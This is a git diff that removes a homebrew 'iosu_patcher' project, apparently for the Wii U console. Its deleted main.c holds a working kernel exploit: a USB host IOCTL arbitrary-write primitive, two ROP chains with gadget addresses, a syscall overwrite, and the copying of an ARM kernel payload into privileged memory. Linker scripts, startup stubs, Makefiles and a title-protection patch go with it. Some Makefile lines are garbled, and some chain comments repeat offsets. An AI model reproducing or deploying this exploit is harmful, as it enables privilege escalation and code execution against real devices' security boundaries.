deleted file mode 100644 index 5408355..0000000 --- a/dsrom/iosu_patcher/arm_user/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x04) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/dsrom/iosu_patcher/arm_user/source/crt0.s b/dsrom/iosu_patcher/arm_user/source/crt0.s deleted file mode 100644 index b5608cd..0000000 --- a/dsrom/iosu_patcher/arm_user/source/crt0.s +++ /dev/null @@ -1,20 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -.extern memset -.type memset, %function - -_start: - b _main - - .global IOS_DCFlushAllCache -IOS_DCFlushAllCache: - MOV R15, R0 -clean_loop: - MRC p15, 0, r15, c7, c10, 3 - BNE clean_loop - MCR p15, 0, R0, c7, c10, 4 diff --git a/dsrom/iosu_patcher/arm_user/source/main.c b/dsrom/iosu_patcher/arm_user/source/main.c deleted file mode 100644 index 6f90ca5..0000000 --- a/dsrom/iosu_patcher/arm_user/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "types.h" -#include "utils.h" - - -void _main() -{ - - void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; - - int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; - - int saved_handle = *(volatile u32*)0x01E10000; - int myret = reply(saved_handle, 0); - if (myret != 0) - ios_shutdown(1); - - // stack pointer will be 0x1016AE30 - // link register will be 0x1012EACC - asm("LDR SP, newsp\n" - "LDR R0, newr0\n" - "LDR LR, newlr\n" - "LDR PC, newpc\n" - "newsp: .word 0x1016AE30\n" - "newlr: .word 0x1012EACC\n" - "newr0: .word 0x10146080\n" - "newpc: .word 0x10111164\n"); - - - -} diff --git a/dsrom/iosu_patcher/arm_user/source/types.h b/dsrom/iosu_patcher/arm_user/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/dsrom/iosu_patcher/arm_user/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/dsrom/iosu_patcher/arm_user/source/utils.c b/dsrom/iosu_patcher/arm_user/source/utils.c deleted file mode 100644 index f02ae47..0000000 --- a/dsrom/iosu_patcher/arm_user/source/utils.c +++ /dev/null @@ -1,25 +0,0 @@ - -void* m_memcpy(void *dst, const void *src, unsigned int len) -{ - const unsigned char *src_ptr = (const unsigned char *)src; - unsigned char *dst_ptr = (unsigned char *)dst; - - while(len) - { - *dst_ptr++ = *src_ptr++; - --len; - } - return dst; -} - -void* m_memset(void *dst, int val, unsigned int bytes) -{ - unsigned char *dst_ptr = (unsigned char *)dst; - unsigned int i = 0; - while(i < bytes) - { - dst_ptr[i] = val; - ++i; - } - return dst; -} diff --git a/dsrom/iosu_patcher/arm_user/source/utils.h b/dsrom/iosu_patcher/arm_user/source/utils.h deleted file mode 100644 index fd41db2..0000000 --- a/dsrom/iosu_patcher/arm_user/source/utils.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef _UTILS_H_ -#define _UTILS_H_ - -void* m_memcpy(void *dst, const void *src, unsigned int len); -void* m_memset(void *dst, int val, unsigned int len); - -#endif diff --git a/dsrom/iosu_patcher/coreinit.h b/dsrom/iosu_patcher/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/iosu_patcher/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/iosu_patcher/crt0.S b/dsrom/iosu_patcher/crt0.S deleted file mode 100644 index 4c5415a..0000000 --- a/dsrom/iosu_patcher/crt0.S +++ /dev/null @@ -1,6 +0,0 @@ - - .extern patch_iosu - .globl _start - -_start: - b patch_iosu diff --git a/dsrom/iosu_patcher/main.c b/dsrom/iosu_patcher/main.c deleted file mode 100644 index a4861c3..0000000 --- a/dsrom/iosu_patcher/main.c +++ /dev/null @@ -1,388 +0,0 @@ -/* - * Copyright (C) 2016 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "../global.h" - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE 0x01E20000 -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08135000 -#define REPLACE_SYSCALL 0x081298BC - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "payload/arm_kernel_bin.h" -#include "payload/arm_user_bin.h" - -static void uhs_exploit_init(unsigned int coreinit_handle); -static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val); - -void patch_iosu(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) -{ - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); - unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - - unsigned long long(*OSGetTitleID)(); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); - - void (*DCStoreRange)(const void *addr, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - memcpy((void*)0xF5E70100, &sysmenu, 8); - *(volatile unsigned int*)0xF5E70108 = dsvcid; - *(volatile unsigned int*)0xF5E7010C = launchmode; - *(volatile unsigned int*)0xF5E70110 = from_cbhc; - DCStoreRange((void*)0xF5E70100, 0x20); - - int (*IOS_Open)(char *path, unsigned int mode); - int (*IOS_Close)(int fd); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close); - - int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node - uhs_exploit_init(coreinit_handle); //! Init variables for the exploit - - //!------ROP CHAIN------- - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); - - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); -} - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(arm_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x01E40000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x01E30000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; - -static void uhs_exploit_init(unsigned int coreinit_handle) -{ - void (*DCStoreRange)(const void *addr, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - //! Clear out our used MEM1 area - memset((void*)0xF5E00000, 0, 0x00070000); - DCStoreRange((void*)0xF5E00000, 0x00070000); - - //!------Variables used in exploit------ - int *pretend_root_hub = (int*)0xF5E60640; - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[5] = 1; - ayylmao[8] = 0x1E00000; - - memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); - memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); - - pretend_root_hub[33] = 0x1E00000; - pretend_root_hub[78] = 0; - - //! Store current CPU cache into main memory for IOSU to read - DCStoreRange(ayylmao, 0x840); - - DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); - DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); - DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); - DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); - - DCStoreRange(pretend_root_hub, 0x160); -} - -static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) -{ - void (*DCStoreRange)(const void *addr, uint32_t length); - void (*OSSleepTicks)(uint64_t ticks); - int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); - - //!------Variables used in exploit------ - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read - OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU - //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, - //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 - int request_buffer[] = { -(0xB349B), val }; - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); -} diff --git a/dsrom/iosu_patcher/titleprot/Makefile b/dsrom/iosu_patcher/titleprot/Makefile deleted file mode 100644 index 78d3ea0..0000000 --- a/dsrom/iosu_patcher/titleprot/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/titleprot/ccd00.ld b/dsrom/iosu_patcher/titleprot/ccd00.ld deleted file mode 100644 index 3842207..0000000 --- a/dsrom/iosu_patcher/titleprot/ccd00.ld +++ /dev/null @@ -1,16 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510D988, LENGTH = 0x0000024 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } -} - diff --git a/dsrom/iosu_patcher/titleprot/ccd00.specs b/dsrom/iosu_patcher/titleprot/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/dsrom/iosu_patcher/titleprot/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - -*link: -%(old_link) -T ./ccd00.ld%s diff --git a/dsrom/iosu_patcher/titleprot/source/crt0.s b/dsrom/iosu_patcher/titleprot/source/crt0.s deleted file mode 100644 index 8efde36..0000000 --- a/dsrom/iosu_patcher/titleprot/source/crt0.s +++ /dev/null @@ -1,23 +0,0 @@ -.section ".init" -.thumb -.syntax unified - -.globl _start - -_start: - ldr r0, =#0x00050000 - cmp r0, r1 - bne nomatch - ldr r0, =#0x00000000 @will be written in by CBHC - cmp r0, r2 - beq match -nomatch: - @orignal code - movs r0, #0x9F - movs r3, #0x9F - bx lr -match: - @return delete error - movs r0, #0 - ldr r3, =#(0x05108236+1) - bx r3 diff --git a/dsrom/iosu_patcher/titleprot2/Makefile b/dsrom/iosu_patcher/titleprot2/Makefile deleted file mode 100644 index 78d3ea0..0000000 --- a/dsrom/iosu_patcher/titleprot2/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/titleprot2/ccd00.ld b/dsrom/iosu_patcher/titleprot2/ccd00.ld deleted file mode 100644 index 3fca35e..0000000 --- a/dsrom/iosu_patcher/titleprot2/ccd00.ld +++ /dev/null @@ -1,16 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510D9AC, LENGTH = 0x0000110 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } -} - diff --git a/dsrom/iosu_patcher/titleprot2/ccd00.specs b/dsrom/iosu_patcher/titleprot2/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/dsrom/iosu_patcher/titleprot2/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - 